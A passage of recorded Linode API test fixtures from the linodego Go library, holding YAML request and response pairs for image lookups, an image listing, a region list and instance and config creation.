Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - images:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/images/private%2F22961819 method: GET response: body: '{"id": "private/22961819", "label": "linodego-image-test", "description": "An image that does stuff.", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "size": 0, "created_by": "youjungk01", "type": "manual", "is_public": false, "deprecated": false, "vendor": null, "expiry": null, "eol": null, "status": "pending_upload", "capabilities": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "361" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 11 Dec 2023 22:34:43 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - images:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/images/private%2F22961819 method: GET response: body: '{"id": "private/22961819", "label": "linodego-image-test", "description": "An image that does stuff.", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "size": 0, "created_by": "youjungk01", "type": "manual", "is_public": false, "deprecated": false, "vendor": null, "expiry": null, "eol": null, "status": "pending_upload", "capabilities": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "361" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 11 Dec 2023 22:34:59 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - images:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/images/private%2F22961819 method: GET response: body: '{"id": "private/22961819", "label": "linodego-image-test", "description": "An image that does stuff.", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "size": 1, "created_by": "youjungk01", "type": "manual", "is_public": false, "deprecated": false, "vendor": null, "expiry": null, "eol": null, "status": "available", "capabilities": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "356" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 11 Dec 2023 22:35:14 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - images:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/images/private%2F22961819 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 11 Dec 2023 22:35:14 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - images:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestImages_List.yaml000066400000000000000000000406101455402072200305000ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/images method: GET response: body: '{"pages": 1, "data": [{"id": "private/21037832", "label": "packer-image-20230726161731", "description": "Packer Sandbox Image", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "size": 1480, "created_by": "lgarber-dev", "type": "manual", "is_public": false, "deprecated": false, "vendor": null, "expiry": null, "eol": null, "status": "available", "capabilities": []}, {"id": "private/21037876", "label": "packer-image-20230726162148", "description": "Packer Sandbox Image", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "size": 1480, "created_by": "lgarber-dev", "type": "manual", "is_public": false, "deprecated": false, "vendor": null, "expiry": null, "eol": null, "status": "available", "capabilities": []}, {"id": "private/21038088", "label": "packer-image-20230726164246", "description": "Packer Sandbox Image", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "size": 3913, "created_by": "lgarber-dev", "type": "manual", "is_public": false, "deprecated": false, "vendor": null, "expiry": null, "eol": null, "status": "available", "capabilities": []}, {"id": "private/21038204", "label": "vault-test - Alpine 3.18 Disk", "description": "", "created": "2018-01-02T03:04:05", "updated": null, "size": 381, "created_by": null, "type": "automatic", "is_public": false, "deprecated": false, "vendor": null, "expiry": "2018-01-02T03:04:05", "eol": null, "status": "available", "capabilities": []}, {"id": "private/21100915", "label": "ami-ubuntu-22.04-20230801.1835", "description": "Ubuntu 22.04 LTS", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "size": 7272, "created_by": "lgarber-dev", "type": "manual", "is_public": false, "deprecated": false, "vendor": null, "expiry": null, "eol": null, "status": "available", "capabilities": []}, {"id": "linode/almalinux8", "label": "AlmaLinux 8", "deprecated": false, "size": 1700, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "AlmaLinux", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/almalinux9", "label": "AlmaLinux 9", "deprecated": false, "size": 1700, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "AlmaLinux", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/alpine3.14", "label": "Alpine 3.14", "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/alpine3.15", "label": "Alpine 3.15", "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/alpine3.16", "label": "Alpine 3.16", "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/alpine3.17", "label": "Alpine 3.17", "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/alpine3.18", "label": "Alpine 3.18", "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/arch", "label": "Arch Linux", "deprecated": false, "size": 1500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Arch", "expiry": null, "eol": null, "status": "available", "capabilities": []}, {"id": "linode/centos7", "label": "CentOS 7", "deprecated": false, "size": 2800, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "CentOS", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/centos-stream8", "label": "CentOS Stream 8", "deprecated": false, "size": 2600, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "CentOS", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/centos-stream9", "label": "CentOS Stream 9", "deprecated": false, "size": 1200, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "CentOS", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/debian10", "label": "Debian 10", "deprecated": false, "size": 1500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/debian11", "label": "Debian 11", "deprecated": false, "size": 1300, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/debian12", "label": "Debian 12", "deprecated": false, "size": 1500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/fedora36", "label": "Fedora 36", "deprecated": false, "size": 1600, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Fedora", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/fedora37", "label": "Fedora 37", "deprecated": false, "size": 1800, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Fedora", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/fedora38", "label": "Fedora 38", "deprecated": false, "size": 1600, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Fedora", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/gentoo", "label": "Gentoo", "deprecated": false, "size": 5500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Gentoo", "expiry": null, "eol": null, "status": "available", "capabilities": []}, {"id": "linode/kali", "label": "Kali Linux", "deprecated": false, "size": 1536, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Kali", "expiry": null, "eol": null, "status": "available", "capabilities": []}, {"id": "linode/debian11-kube-v1.25.4", "label": "Kubernetes 1.25.4 on Debian 11", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/debian11-kube-v1.26.1", "label": "Kubernetes 1.26.1 on Debian 11", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/debian11-kube-v1.26.3", "label": "Kubernetes 1.26.3 on Debian 11", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/opensuse15.4", "label": "openSUSE Leap 15.4", "deprecated": false, "size": 1550, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "openSUSE", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/opensuse15.5", "label": "openSUSE Leap 15.5", "deprecated": false, "size": 1550, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "openSUSE", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/rocky8", "label": "Rocky Linux 8", "deprecated": false, "size": 2300, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Rocky", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/rocky9", "label": "Rocky Linux 9", "deprecated": false, "size": 2300, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Rocky", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/slackware14.2", "label": "Slackware 14.2", "deprecated": false, "size": 6000, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Slackware", "expiry": null, "eol": "1970-01-01T05:00:00", "status": "available", "capabilities": []}, {"id": "linode/slackware15.0", "label": "Slackware 15.0", "deprecated": false, "size": 11000, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Slackware", "expiry": null, "eol": null, "status": "available", "capabilities": []}, {"id": "linode/ubuntu16.04lts", "label": "Ubuntu 16.04 LTS", "deprecated": false, "size": 2700, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/ubuntu18.04", "label": "Ubuntu 18.04 LTS", "deprecated": false, "size": 2700, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/ubuntu20.04", "label": "Ubuntu 20.04 LTS", "deprecated": false, "size": 2000, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": ["cloud-init"]}, {"id": "linode/ubuntu22.04", "label": "Ubuntu 22.04 LTS", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": ["cloud-init"]}, {"id": "linode/ubuntu22.10", "label": "Ubuntu 22.10", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/ubuntu23.04", "label": "Ubuntu 23.04", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/debian9", "label": "Debian 9", "deprecated": true, "size": 1600, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/slackware14.1", "label": "Slackware 14.1", "deprecated": true, "size": 1000, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": null, "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Slackware", "expiry": null, "eol": null, "status": "available", "capabilities": []}], "results": 41, "page": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestInstanceBackups_List.yaml000066400000000000000000001677521455402072200323710ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ca-central", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-southeast", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-central", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-west", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-southeast", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-east", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-west", "country": "uk", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-south", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-central", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-northeast", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], "page": 1, "pages": 1, "results": 11}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-wo-disk-bzi7l8090x1m","booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 41003831, "label": "go-test-ins-wo-disk-bzi7l8090x1m", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["45.79.122.252"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "0346babe1bc45d9259a93fb78b6b7858acaf41c4"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "713" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-xf886ld17qx5","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/41003831/configs method: POST response: body: '{"id": 43613380, "label": "go-test-conf-xf886ld17qx5", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "539" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - 